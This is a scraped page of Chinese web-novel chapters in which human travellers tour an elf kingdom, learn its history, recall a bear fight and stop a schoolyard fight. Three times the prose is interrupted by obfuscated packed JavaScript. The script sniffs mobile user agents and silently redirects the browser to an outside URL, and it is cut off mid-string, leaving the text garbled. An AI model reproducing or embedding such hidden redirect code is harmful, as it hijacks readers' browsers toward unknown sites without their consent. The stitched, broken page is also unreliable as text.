RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537538|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鼠妇,在阳光下焦虑不安地乱窜,这让他突然觉得畏首畏尾,想立刻找到一块新的石头钻下去。 他感到害怕和窒息,但又好像早已习惯了这种压力。 “这一定就是国王的兄长普罗菲塔了吧?”贾思年清脆的声音让林奈忽然从压力中抽离,他偷偷用斗篷擦了擦汗。 眼前的雕塑是一个微微侧身的精灵男子,他穿着长及脚面的袍子,一只手拿着一块石板,他的五官很柔和扁平,如果没有尖尖的耳朵,林奈很难把他的样貌和精灵联系在一起。 “没错,这就是伟大的先知普罗菲塔,他手中的石板就是预言之石。” 查克顿了顿说:“普罗菲塔被称为先知,是因为他的精灵之力是全知全视,并且可以依据自己了解的事实做出预言,这是非常伟大的能力,几千年来都没有精灵有这样的天赋。” “这么伟大的精灵普罗菲塔,是因为什么去世的呢?”林奈听见贾思年问道。 查克突然严肃了起来:“因为人类。” “在石器时代,普罗菲塔看到了科斯塔洲的人类在冰河期经历的艰难困苦,决心离开家乡去帮助他们,但最后却死在了人类的迫害之下。” 查克顿了顿继续说道:“七位君主佯装盛情邀请了普罗菲塔,却是因为想要得到他的力量,他们残忍地杀害了他,为首的谋士阿萨斯诺得到了他的血,然后在科斯塔洲西部盘踞了三百年。” 什么? 林奈惊呆了,所以远古时期的人类杀害了来帮助他们的先知普罗菲塔,并且间接害死了科斯特杰? 他突然理解了为什么遇到的精灵都对他们二人不善。 他突然觉得自己罪孽深重,他想要道歉,但又不知道该对谁道歉。他代表不了远古时期科斯塔洲七位残忍又贪婪的君主,面前的查克也没资格替普罗菲塔兄弟一家原谅他们,他希望贾思年说些什么,他知道查克也在期待着他们能说些什么,他看了看贾思年,发现她皱着眉陷入了沉默。 “我感到非常抱歉,”她的声音听起来有点沙哑,“我从没想过会有这样的事。” “人类的史学家们通常认为阿萨斯诺并不是一个人,而是几代君主的集合。”贾思年的声音恢复了正常。 “我从没有想过竟然还有这样的可能,虽然我的道歉微不足道,但我还是向他们的遭遇表示抱歉。” “我能做些什么吗,查克先生?” “您的道歉对我而言已经足够,”查克的表情让林奈看不懂,他看起来很悲伤,但又像突然如释重负。 “您不需要做什么。” 贾思年一只手横在胸前,一只手抵在下巴上,她问道:“但我其实有点疑惑,这样一位伟大的先知,怎么会死于普通人类之手呢?” 她抬头解释道:“我并不是在为祖先开脱,我只是觉得是否有些误会。” “普罗菲塔并不善武。”查克听起来有些生气。 “抱歉,是我冒犯了,我再次向您道歉。”贾思年立刻说道。 查克叹了口气。 “不必在意。” 然后继续说道:“普罗菲塔的死引发了精灵对人类的不满,尤其是国王霍塔加·奥科霍利,精灵们开始考虑是否要继续与人类世界交流,最后得到了一个否定的答案。” “所以你们把自己藏了起来。”贾思年轻声说道。 “可以这样说,结果你们也看到了,自从普罗菲塔死后,大概是人类历史的古典时期以后,奥科霍利陛下建立了精灵的国家普罗菲塔,从此与人类世界再无联系。” 精灵国王真的太善良了。 林奈低着头想,人类害死了他的哥哥和弟弟,他竟然没有选择报复人类,只是把精灵们保护了起来,林奈渐渐觉得无地自容。 “您也不必过分自责,”林奈忽然听到查克对他说:“害死他们的并不是你,林奈先生。” 林奈点点头。 10. 沼泽里的国家(五) 纪念馆后面展出了普罗菲塔如何一步步发展成如今高度发达的局面,依然沉重的情绪和漫长的参观让林奈感到神思倦怠,但是贾思年却看起来一直颇有兴致。 尤其是在最后的科技展厅内,她在展柜前拉住查克一连串地提问,林奈听到了很多次查克的声音,“对不起,这有些深奥,我并不了解”。 林奈对展柜里复杂的器械和结构并不感兴趣,他只好奇精灵之力。 精灵们有超能力,这被称作为神也不足为过。 林奈幻想自己要是能有普罗菲塔一样的超能力该有多厉害,但是转念一想也不是所有的精灵都有超能力,比如查克。 林奈瞬间又庆幸自己不是精灵,万一是个没有超能力的精灵,那也太可怜了,他忽然又开始同情起了查克。 直到林奈和查克筋疲力竭地坐在展厅旁边的长椅上休息时,贾思年还在趴在科技展厅的展柜上读上面的字,林奈感到一丝抱歉:“不好意思维尔塔宁先生,贾在金港开一家修理铺,她对这些确实很有兴趣。” “没关系的林奈先生,我很高兴她喜欢,说明我们的科技水平发展到了相当的高度。”查克回答道。 “叫我林奈就好,”过于正式的对话让林奈有点不自在。 “维尔塔宁先生,没有精灵之力的精灵,生活会不会很辛苦啊?” 查克偏过头来思考了一会儿回答:“我没觉得辛苦,其实有天赋的精灵才比较辛苦,因为他们一般承担着比较重要的工作,像我这样的精灵,其实不工作也可以。” “啊?”林奈很惊讶:“不工作要怎么生活啊?” 查克笑笑说:“会发各种救济金,完全不工作的话只靠这些也可以过得不错。” 林奈忽然想到了金港的港口上那些在烈日下的阴影里艰难地讨生活的人,觉得这简直不可思议:“可是国王为什么要出钱养活这些不工作的精灵呢?” 查克皱起眉头,棕色的眼睛偏向一边陷入了思考,过了一会儿他看着林奈说:“我以前并没有想过这个问题,不过就算是不工作,我觉得大家也都有体面活着的权利吧。” 林奈睁大了眼睛,觉得查克说的好像有哪里不对。 他想要反驳,但又不知道怎样反驳,他觉得这话不符合他模糊记忆里的认知。好像自他出生以来,身后就有一条细长的鞭子在不停地抽打,他必须时时刻刻拼命往前跑,如果他偷懒想停下来,身后的鞭子就会追上他。 他不确定这鞭子抽打了多久,但是又很确定它一直存在,直到那天他觉得自己快要力竭而亡的时候,遇到了贾思年。 林奈突然觉得好疲惫,他看到自己过去拼命奔跑的路边有人躺在草坪里晒太阳,那人坐起身望着他。 “为什么要跑呢?” 他又觉得自己很幸运,庆幸自己逆着光看到了那个把防风镜推到头顶的女孩,她向他伸出了手,把他也拉到了阳光下。 林奈忽然看到那只小麦色皮肤的手在他眼前摆了摆,“又想起什么了吗?”是贾的声音。 “没有。”林奈咽了下口水,“没想到什么。” 他抬头看了看贾思年,她似乎早就从一开始的沉重中抽离了出来,他想知道是什么让她这么开心。 “有什么东西很有趣吗?”林奈问道。 “有趣的东西可太多了,”贾思年转头向查克问道:“只是我不知道,精源到底是怎样的一种能源?从这里的介绍可以看到,整个科斯特杰的运转和许多机器设备都非常依赖这种能源,但我之前从没听说过。” “如果有这样的能源,我想能解决很多问题。” 查克点点头说:“精源确实是普罗菲塔最重要的能源,这种能源来自地下,类似石油和天然气,但是具体怎样开采我并不知道,只有一部分科学家从事这方面的工作,具体细节并不公开。” “果然这样关键的技术是不会公开的,”贾思年叹了口气,不过很快又开朗了起来:“你们休息好了吗?下一站去哪里?” 查克看了看手表说:“已经是下午两点了,我们吃过饭可以在科斯特杰到处走走,这座城市本身就很值得一看。” 三人很快又在红区的街头漫步,查克介绍说红区是科斯特杰的第一个超级城区,这里有很多颇有历史的建筑,也有一些讲究的别墅区,红区不像其他城区一般笔直,而是有一些突出的区域,这些别墅就建在这些半悬空的部分。 别墅区的风格与其说多样不如说是混乱,有的跟科斯特杰一样造型非常前卫,也有类似科斯塔洲一些教堂的繁复华丽的风格,甚至还有几幢有着夏曦国特色的古朴飞檐……在混乱程度上倒是跟金港的违章建筑不相上下。 林奈今天早上就发现红区造型奇特,在其他笔直的摩天建筑里格格不入,很像他在贾思年的古早游戏机里玩过的一款盖房子的小游戏。 林奈总是会把房子盖得七扭八歪,最后因为不能保持平衡而输掉游戏,他记得那个游戏里的最高记录还是十年前留下的,十五岁的贾思年似乎再也没打开过这个游戏。 又是一个讨论过去的好时机。 林奈转头看向走在旁边的贾思年说道:“红区很像我在游戏机里盖的房子。” 她笑出了声:“确实很像。” 林奈觉得受到了鼓舞,便继续问下去:“可是你后面都没再玩过,最高纪录还是十年前的。” “确实是小时候玩的游戏嘛,”贾思年看了他一眼:“其实我后来也打开过几次,只是再也打不出那么好的分数了。” 林奈想了想自己以前有没有什么很擅长的事情。 好像是有这么一件,但是想不起来具体是什么了。 以前好像有人以此为傲,但他并不是真的多喜欢做那件事,他不过是为了博那人的欢心,直到现在,他竟然浑然忘记了。 林奈突然很想知道那件过去自己很擅长的事究竟是什么,他觉得应该不是在游戏里盖房子这样的小事。 他努力地在黑暗中摸索,好像摸到了野兽的毛皮,林奈突然害怕极了,大脑似乎触发了某种保护机制,忽然一片空白,他艰难地拉住了贾思年的胳膊,他发不出声音,痛苦地站在原地。 贾思年看出了他明显不对,握住他的双臂让他保持平衡,轻声问道:“是想起了什么吗?别害怕,这里很安全。” “…休息一下。”林奈艰难地发出声音。 …… 林奈在黑暗中摸到了野兽的皮毛。 他能感受到那头猛兽在均匀的呼吸。 突然,皮毛起伏的节奏变乱了,林奈在月光下看到了两只巨大的发光的眼睛。 是熊。 原来这里是熊的洞穴。 他突然发现自己赤身裸体地站在一头鲁米肯特雪原熊的面前,发光的圆眼变得尖锐,野兽的喉咙发出凶狠的哼鸣。 现在是什么季节? 这头猛兽是冬眠被吵醒了吗? 林奈不想死,他好不容易从暗无天日的生活里逃了出来,怎么能甘心立刻就去死? 可是赤手空拳的人类怎么可能制服一头成年的雪原熊? 绝望紧紧握住了林奈的心脏,他忽然看到自己的胸前发出蓝色的光,一把闪着蓝光的短剑出现在他面前,蓄势待发的猛兽似乎也被这突如其来的光吓到了,它缓慢地向后退去。 林奈顾不上许多,抓起短剑用尽全力刺向熊的眼睛。 他太熟悉怎么用剑了,从有记忆起,他的生活里就只有书本和木剑,他的剑术老师来自最有名的家族,也是最严厉的师傅。无论是用剑还是读书,林奈只能做到最好,他知道自己从不害怕责罚,他只怕那个女人失望的眼睛。 雪原熊的双眼被刺瞎,在洞内发了疯地乱撞,林奈在黑暗中艰难地躲闪,每一次动作都让他觉得身侧撕心裂肺的疼。 他觉得自己的肋骨断了,不能再这样跟熊拖下去了。 师傅教导他,交手中首先要寻找敌人的破绽,此刻发了疯的熊在林奈眼中尽是破绽,他终于抛弃了任何怜悯之心,向着熊的脖子发起了最后一击。 蓝色的剑刃带着月光的银辉,在黑暗中,仿佛流星划过夜空。 孤星陨,鲜血飞溅。 猛兽翻倒在地,四肢在空中胡乱地挥舞,林奈闪到它身侧,再次手起刀落,雪原熊瞎了双眼的头滚落到了一边,但它的四肢还在剧烈挣扎着。 没过多久,血腥味弥漫了整个洞穴,断了头的雪原熊不再抽搐,它死了。 林奈突然觉得好冷。 身侧传来钻心的疼痛,他忍着剧痛把雪原熊的躯体开膛破肚,然后钻了进去。 好暖和。 如果在这么温暖的地方死了的话……似乎也能接受。 他合上了眼睛。 后来林奈昏睡了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537539|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来一场大雪封住了洞口。 后来一个身上绑着绷带的女孩来到了这里,她看见满地干涸的血迹和巨熊的尸体,先是很惊恐,后来看到林奈还活着,又很高兴。 她告诉林奈她的名字叫贾思年。 她把他带出了那个噩梦。 林奈缓缓睁开眼睛,他看见眼前洁白的墙壁,闻到了刺鼻的消毒水味。 “您醒了!”林奈看到查克写满关切的脸:“您不要紧吧林奈先生?” 贾思年的头也凑了过来,就像在金港的无数个午后,笑着问他:“林奈你醒啦?” 林奈发现自己躺在床上,浑身上下都被汗浸湿了,林奈张了张嘴,声音有些嘶哑:“我没事。” “你可把维尔塔宁先生吓坏了,”贾思年问道:“又想起什么了吗?” 林奈摇摇头,又马上点点头:“我想起了,”他吞了吞口水:“遇到你之前发生的事。” 贾思年的笑容僵硬了。 “那可不是什么美好的回忆。” “我们这是在医院吗?”林奈想要坐起来,发现自己头上贴了一堆像电极一样的小圆片。 “不要乱动。”贾思年把他摁回了病床上。 “医生在给你做检查。” 没过多久,房间里走进一位穿白色套装的医生:“患者的失忆症是混血的法术造成的,混血的法术和精灵之力并不相同,以我的能力没法帮助他恢复,非常抱歉。” 混血的法术? 那是什么东西? 林奈听得一头雾水。 “什么是……混血?”他问道。 查克低下了头,好像有什么话很难以启齿,过一会儿,他抬起头来说:“混血……就是精灵和人类的混血。” 一直在一边默默听着的贾思年又凑近了些:“恐怕又要讲个很长的故事了,维尔塔宁先生。” 三人又一次走在橙区的街头,查克酝酿了许久,终于发出了声音:“科斯特杰并不是早夭的孩子,他只是跟国王陛下产生了分歧。” “据说当年国王打算将普罗菲塔封闭起来时,有一些精灵并不认同他的理念,他们选择离开这里,去人类世界生活。” “然后就有了混血?”贾思年问道。 “是的,但是混血和精灵其实并不同,精灵之力是专一的强大的能力,而混血们通常没有这样的能力,只有一些天赋强或者精灵血统纯正的混血,可以通过练习来施展法术,通常需要通过一些介质,这是跟精灵之力很不同能力。” 查克尽量使用了人类能听懂的词汇去描述这件事,但林奈听了仍然跟没听懂一样:“等一下维尔塔宁先生,也就是说在我们原来的世界里也有超能力?” “恐怕是这样的。”查克点点头。 “然后林奈的失忆是因为有混血对他施展了法术?”贾思年问道。 “恐怕是这样的。”查克又点点头。 林奈自以为已经坚不可摧的三观又一次被震碎了。 原来一直就有人有超能力! 他就是在超能力世界里没有超能力的那个! 怪不得他总觉得自己以前好像活得很辛苦,昨天居然还在同情查克! 林奈更加丧气了。 查克似乎察觉到了他的灰心,安慰道:“其实施展法术也不见得就是什么好事,因为那些人类看起来超自然的能力其实只是未能解释的科学,也要符合自然的规律。” “施展法术很耗费气力,所以一般都需要源源不断的介质,但是介质并不容易得到,一但尝过法术带来的好处又会很难收手,大部分能施展法术的混血寿命都不长。” 林奈想了想,觉得好像有被安慰到,但是又转念一想,问:“那精灵为什么寿命很长呢?” “精灵离开这里寿命也会变短,科斯特杰离开后不到二百年就衰老了,我想可能是这座岛的原因吧。” “这真的很神奇,这里有精源这样的能源,还可以延长寿命,普罗菲塔真是一个了不得的地方。”贾思年评价道。 “是这样的,所以自从科斯特杰和他的追随者们离开了普罗菲塔,精灵们便世世代代生活在这里,没有精灵想要离开了。”查克说道。 林奈没去过很多地方,也觉得这里比他去过的任何地方都要好。 这样发达又安逸的地方,怎么也不会有居民想要离开吧。 11. 沼泽里的国家(六) “拉斐特看见人们在耕种, 祂给牛装上了犁。“ ——《欧莱经书:起源》 贾思年坐在通往圣科托姆的城际列车上对着车内壁上的洗衣粉广告发呆,旁边的林奈在跟查克聊天,听起来很兴奋。 今天一早,林奈对她说想去看看之前提到的学校,她就跟查克提出想去圣科托姆。查克一开始看起来有点为难,后面似乎是去请示了一番,最终同意了她的请求。 林奈得知今天去圣科托姆后看起来很高兴,贾思年不知道学校有什么好看的,但是既然他想去那就去吧。 林奈并不经常直接地表达出自己的喜恶,很多时候都要靠她去察觉。就比如说林奈喜欢登高望远这件事,起初她以为他只是随口问问她喜不喜欢,没想到下次得知的就是他已经悄悄去过金港大厦的消息。 从那以后贾思年就开始留心注意林奈一些微小的情绪变化,这件事对她来说倒是无所谓,察言观色她本就得心应手,她只是觉得林奈这人怎么一点都不坦诚,像只喂不熟的流浪狗。 贾思年早就没有了初见普罗菲塔时的恐惧,她现在只当这里是个小型的世外桃源。至于精灵之力,她过去其实也知道有人拥有超自然的能力,只不过这样的人通常受雇于科斯塔洲或者夏曦国的权贵,活跃在暗网之中,她没跟这些人当面打过交道,但是有关他们的故事倒是在金港也听说过一些。 “他们也不知道自己是谁,到底从哪里来,今后又要到哪去。”贾思年记得给她讲故事的旅行者如何故弄玄虚。 她觉得这帮人还真是矫情,有相同疑问的人多了,她也不知道自己所谓的故乡到底是不是真实存在的,反倒是这帮人,拥有与众不同的本领,掌握着世界顶级的资源,到头来还当上自怨自艾的哲学家了。 “在永不知足这一点上,混血倒是跟人类没什么区别。”贾思年觉得好笑。 城际列车始终在一个封闭的空间运行,列车甚至没有车窗,贾思年坐在上面只能读一些莫名其妙的广告和文字,就像坐在马桶上读洗涤液瓶子上的标签。经过几站之后,列车很快就到了学院城站。 车门一打开,她就注意到车站里的精灵大多只穿暗红和深蓝两种颜色的斗篷,红色斗篷的背面印着一棵树长在一本书上的图案,下面的小字写着“圣科托姆”,蓝色斗篷的背面是锤子和扳手交叉的形状,下面写着“职业学院”。 还真是成分明确、等级森严啊。 她觉得有点好笑,但是表面上还是装作好奇的样子问出了一句废话:“这两种颜色的斗篷是学生们的校服吗,维尔塔宁先生?” 查克给出了肯定的回答,然后带着他们出了站。 一走出车站,迎面就看到草坪前面的不远处有一片巨大的红砖建筑群,为首的大楼看起来像科斯塔洲的一些城堡,造型和装饰不亚于普罗菲塔纪念馆。 “进入圣科托姆之前,有些事情必须和你们确认一下。”查克带二人走到了车站旁边的步道上。 贾思年注意到车站后面似乎还有一些居住区,一些小商铺零散地开在这些房子的底层,一些明显是孩子模样的精灵三五成群地走在路上,时不时还会向他们投来害怕又好奇的目光。 “所有的精灵到了该上学的年龄都会来到学院城,在这里经过三年的预备学习后,被分进圣科托姆或者职业学院。”查克开始对二人说明。 贾思年注意到街对面的巷子里,三个穿红色斗篷的学生背对着街道围了起来。 “他们之中会一些拥有很强精灵之力的孩子,但还不能熟练地使用自己的能力。”查克继续介绍。 贾思年看到正中间的红色斗篷下,隐约还有一双黑色的鞋子,似乎有人单脚屈膝坐在地上。 喂喂喂,是不是有哪里不对? “所以你们一定要尽量避免和学生们发生冲突,尤其是穿暗红色斗篷的,他们有天赋但又太年轻,你们要注意安全。”查克非常严肃地嘱托。 “我们倒是很难跟小鬼们发生冲突,但是他们之间的冲突也不好袖手旁观吧。”贾思年说着撂下满脸疑惑的二人,往街对面的巷子走去。 查克往她离开的方向望去,似乎发现了事情不简单,他正要跑上前拉住她,却被林奈先一步拉住了。 “这事你可管不了她。”贾思年听见林奈在背后说。 “呦,先生们,在讨论什么呢?”贾思年走进巷子里,对着三个红色斗篷的后脑勺提高了音量。 为首的男孩很高很壮,棕色的头发在脑后梳得很整齐,听到这话好像吓了一激灵,迅速转过身来,灰色的眼睛全神贯注地盯着她,语气难藏轻蔑:“原来是最近进入普罗菲塔的人类,不对,也不完全是人类。” 然后他正了正身体,微微点头致意,但却连正眼看她都不愿意:“你好女士,欢迎来到学院城,但我们现在很忙,恐怕不能陪您聊天了,希望您旅途愉快。” 这么小就学会了装腔作势,确实应该修理。 贾思年双手环抱在胸前,漫不经心地说:“我说,你们三个欺负一个,这不公平吧?” “公平?你问我公不公平?这话你应该问她!”棕发男孩突然莫名的被激怒了,侧身指了指后面坐在地上的女孩,贾思年这才看见地上一直坐着一个苍白瘦弱的精灵女孩,她留着微曲的黑色长发,黑色的眼睛空洞无神地望着她。 X的居然还欺负女人,先打五十大板再说! “我不知道你们之间发生了什么,但如果你执意要打架,那我现在跟她一伙儿了。”贾思年一边说一边活动起了脖子和肩膀。 “地沟里的老鼠不要不识好歹。”棕发男孩的愤怒转移到了贾思年的身上,他旁边的两个男孩也展开了架势,其中一个戴眼镜的男孩举起拳头,一脸愤怒地盯着贾思年,另一个从斗篷下掏出了一个什么东西夹在了腋下。 她仔细看了看,发现是一把玩具水枪。 “你们这是打算用水枪打架吗?那我应该是错怪你们了吧?”她笑出声来。 “给她点颜色瞧瞧,让她少管闲事。”棕发男孩对一左一右说,说着一条蛇形的火焰就从左边男孩的水枪中喷了出来,右边的男孩伸出手向前用力挥去,火蛇就吐着信子直直地向贾思年扑来。 有点意思。 贾思年在火焰就要扑上斗篷的瞬间突然向一边闪躲,火蛇冲了出去,但很快又随着戴眼镜男孩的手势向贾发起新的攻势。 汽油的味道。 她大概懂了,拿水枪的男孩能点燃汽油,戴眼镜的可以隔空移动物体。 中间那个嘛,一眼看出她与普通人类不同,大概是类似读心术的能力。 她不禁对这个校园霸凌小团体的配置表示肯定,但可惜他们的对手是她,为首的男孩就没用了。 一群人要是失去了大脑,就成了一群四处乱撞的苍蝇,越是强有力,就会做越多的无用功,第一条火蛇很快就燃烧殆尽了,拿水枪的男孩很快又点燃了另一条。 贾思年总是能在他们马上就打到她的时候突然变换方向躲过去,三个精灵男孩似乎感受到了嘲弄,忽然好几条火焰同时从不同的方向向她飞去。 一条火焰冲向她的双腿,她借着巷子里左右两侧的窗台纵身跃起。 一条火焰向着腾空的她扑来,她在空中向后翻去。 火焰在空中相撞,像一只起舞的凤凰,一瞬间火光四溅,凤凰经过短暂的炫目,很快便像烟花在夜空转瞬即逝。 贾思年双手落地,最终稳稳地单膝蹲在地上。 啧,懂不懂小孩玩火半夜尿床啊。 三个精灵男孩似乎被她诡异的灵活和柔韧惊呆了,水枪男孩用光了全部的燃料,他徒劳地狂按扳机,发出咔咔的声响。 “结束了吗?回合制游戏,现在到我了吧?”贾思年拍拍身上的灰尘站了起来。 “你……你欺负小孩!”为首的男孩慌张地大喊,拉着左右一溜烟往拐角的另一个方向跑了。 “我欺负小孩?难道不是你们在欺负小孩吗?”她指着自己的鼻子,望着他们落荒而逃的背影觉得又好笑又莫名其妙。她搓了搓有些摩擦破皮的手掌,走到那个呆坐在角落的身影前,她蹲下来对那个失了魂一般的精灵女孩说:“你还好吗?有没有受伤?” 女孩坐在角落的阴影里,深渊一般的黑色眼睛望着阳光下的贾思年,喃喃地问:“……你就是深渊吗?” 她笑了:“好比喻,原来你这样称呼我,”说着向她伸出手来:“我叫贾思年,你自己起得来吗?” “里奥。”女孩冰凉的手握住了贾思年的手,被她一把拉进了阳光下。 看起来没有受伤,贾思年松了口气:“我的朋友们还在对面等我,既然已经没事了,那我走咯?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537540|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精灵女孩没有回答,也没有感谢,只是面无表情地看着她。 诶? 这孩子是不是有点傻啊。 贾思年觉得有点尴尬,不过这里现在也没她什么事了,她正打算离开,忽然又听见了精灵女孩虚弱的声音。 “请问你们是打算参观圣科托姆吗?” 贾思年点了点头。 “请让我带你参观吧。”里奥的声音没有丝毫的起伏,听起来就像一潭死水。 诶? “可以是可以……”贾思年挠了挠头,觉得有点莫名其妙,但是似乎又没理由拒绝。 “那就拜托你了。” 当贾思年再次回到大家身边时,在路对面目睹整个事情经过的查克一脸愁容,他又一次把手拘谨地放在了身前:“贾女士,你这样非常的危险。” “小孩子打架而已,他们也没真想把我怎么样。”贾思年笑着拍拍他的肩膀算是安慰,转头介绍说:“这是里奥。” “这是维尔塔宁先生和林奈。” “发生了什么事?有人欺负你吗?”林奈望着贾思年身后的里奥。 里奥的脸好像更加苍白了,她点了点头,又顺势低下了头,小声说:“不必介意。”然后指了指不远处的城堡。 “来参观吧。” 贾思年跟着查克和里奥,穿过修剪整齐的草坪来到了圣科托姆的大门,走近了看更显雄伟和华丽。 “学院城有一千多年的历史,这些墙壁看起来像砖,实际是砖红色的石头。”里奥的手指抚过墙壁。 “圣科托姆的建筑都是这种石头建造的,祖先认为石头是自然送给精灵建造房屋的材料。” 贾思年走进大门,迎面就看到台阶前面不远处的普罗菲塔雕像,跟之前在纪念馆见到的几乎一模一样,普罗菲塔还是温润如玉的模样,望着地面上所有人微笑。 “这是先知普罗菲塔,这座雕像是随学院城一起建造的,国王陛下希望他的哥哥可以回到这里。”里奥说道。 “先知一定是最优秀的老师。”里奥的眼睛里终于有一丝光流过。 贾思年在心里偷偷松了一口气。 看来她也不是个完全空心的假人。 “你很崇拜普罗菲塔?”贾思年问道。 “他是所有精灵的偶像。”里奥的声音逐渐有了精神。 微妙的气氛很快随着林奈的好奇而升温,贾思年看着林奈一边兴高采烈地东张西望,一边围着查克和里奥问东问西。她突然觉得心情愉快,感觉这一幕似曾相识,只不过那时,她才是在前面蹦蹦跳跳的人。 她记得自己把洛洛抱回家时有多么开心。 她记得好像当时的自己觉得不应该求爷爷养那条狗,但老贾似乎很生气,红棕色的木质手杖猛猛地敲了几下潮湿的地面,执意要贾思年把躲在通风管道后面的小狗领回家。 她抱着小狗欢天喜地地从学校跑回老贾修理铺,昏暗的灯光把她和爷爷的影子拉得很长。 贾思年望着林奈的背影,好像透过老贾苍老浑浊的眼睛看着年幼的自己,她突然懂了林奈的那份小心翼翼,就像那个清晨里被老贾带回修理铺的自己。 她有点懊悔自己为什么没早点察觉。 在老贾离开的第九个年头,她好像对他又多了一些了解。 咦——真是肉麻。 但贾思年的嘴角又忍不住上扬,她觉得带林奈来这里真是一个正确的决定,以至于多年以后,她都认为带林奈去圣科托姆是她一生中做过的最重要的决定之一。 但有一点让她一直很不爽。 自从进入圣科托姆,她能感觉到有人一直在跟着他们。 而且不止一人,贾思年感觉有目光从四面八方凝视着她,她假装不经意的猛地一回头,就能看见一个突然躲起来的红色斗篷。 对人类好奇是完全能理解的,但也不必像做贼一样跟着吧? 她觉得有点烦躁,笑眯眯地转向某个暗中观察的方向,一个红色斗篷又立刻躲了起来。 “前面就是图书馆了。”里奥忽然转过身来对她说:“这是我最喜欢的地方,贾,进去看看吧。” 贾思年有些审美疲劳,但是又不想拂了里奥难得的兴致。 不过转念一想,这里面总该没有跟踪小队了吧? “好!”贾思年立刻高兴了起来。 12. 沼泽里的国家(七) 里奥带着大家进入了圣科托姆的图书馆。 大厅里摆着许多巨大的红木桌子,学生们坐在这里看书学习,里奥带着大家穿过自习区后面一排排整齐的书架,贾思年偶尔瞥了几眼书架,似乎都是一些莫名其妙又专业性很强的书,比如什么《雷电系精灵之力控制理论》、《精源车设计》……不过也有一些正常的基础科学类书籍,她感到了一丝熟悉,偷偷松了口气。 “你们看。”里奥走到书架的尽头,悄声对身后的众人说。 贾思年虽然也在大学的图书馆里浪费了不少时间,但还是不由得睁大了眼睛。 旋转向上的楼梯后面是满墙的书籍,随着楼梯直通顶层,阳光从两边的磨砂窗户照进来,在空气中漂浮的灰尘里有了具体的形状。 阳光撒在红木的楼梯上,贾思年搭着扶手拾级而上,觉得自己好像行走在油画中,她能闻到纸墨散发的微弱气味,就像在她借给林奈住的书房。书的味道让她觉得安逸,她的目光漫不经心地扫过书架,忽然定睛在一个布满灰尘的角落。 《世界简史》。 她费力把它从书架里抽出来,书上的灰尘被她拍落在空气中,像一簇簇微小的烟花。 这本书由很厚的上下两册装在了一起,贾思年打开上册翻了翻,内页的纸张很新,似乎没什么人看过,她转过身小声问身后的里奥:“我可以借这本书回去看吗?”里奥看了看书名,立刻点了点头。 众人又一次走在了圣科托姆的草坪上,贾思年忽然想起了什么:“我和林奈环岛的时候,看见这里有座山?” “你说的应该是祈愿山。”里奥回答,“普罗菲塔只有一座山。” “我们明天可以去那里吗?”贾思年转向查克问道。 “可以的。” “你们明天去祈愿山吗?”里奥听起来又有了些精神,“我也可以去吗?”她看着查克。 查克静静地看着里奥,似乎在思考,过了一会儿他说,“当然可以。” 林奈看那眼神忽然觉得似曾相识。 像某个长辈温柔又严厉的目光,他的脑海里突然闪过一双跟自己一样的绿色眼睛。 是亲人吗?他不记得自己有父亲或者母亲,但是一模一样的眼睛又让他确定这人与自己有关。 他觉得自己偶尔想起的碎片也许又是一个了解贾思年的机会,他想听她讲讲她的父母,和听起来对她很重要的爷爷。 但一整天的参观让林奈疲惫不堪,再次回到半岛旅馆的时候,林奈几乎倒头就睡。 以后再说吧,反正还有的是时间,他迷迷糊糊地想。 …… 贾思年洗过澡,推开浴室的玻璃门,她拿起一条毛巾擦了擦头发上的水,然后用擦过头发的毛巾随手抹了抹镜子上的水汽。贾思年出神地盯着镜子上的水滴划过自己的脸,她陷入了沉思。 已经来闲逛了两天了,她还一点头绪都没有。 今天终于找到机会和查克说想去个可能有水的地方,她反复考虑自己刚才的措辞是否突兀。 应该……没什么问题吧? 不该救那个精灵小鬼,明天她跟来恐怕又是一个麻烦。 但就算她不来查克也一定会来。 贾思年突然觉得有点烦躁,又被身上变凉的水珠冷得一哆嗦,她抓起一条浴巾围上,走出了浴室。 贾思年坐到沙发上,借着昏黄的落地灯光打开了从图书馆借来的《世界简史》,她倒要看看这帮精灵们的脑袋里都在想什么,她翻开目录,在上面找到了熟悉的字眼“金港”,金港被编在了下册,她顺着页码找过去—— “金港是一座夹在索罗甘洲和科斯塔洲中间的岛屿………过去的千百年里,科斯塔洲南部的几个国家都曾经占领过这座小岛,不过自从科斯塔洲联盟成立以来,为了停止关于金港主权的争夺,这座小岛变成了一个无政府的地区,由科斯塔洲的各个国家分别派士兵来驻守,并成立金港警署来维持治安。 得到金港人的身份并不难,只要可以在这里找到一份工作,有人为了寻求机遇突发横财,有人为了找到可以栖息之地活下去,来自世界不同地区的人怀着不同的目的来到金港,共同发展起了这里的港口贸易。” 这描述竟然意外的很客观,大概是贾思年在历史课本里读到的金港和她真实居住感受的合集。 这帮丛林三K党……还挺公平公正? 那不对啊,那怎么说一套做一套呢? 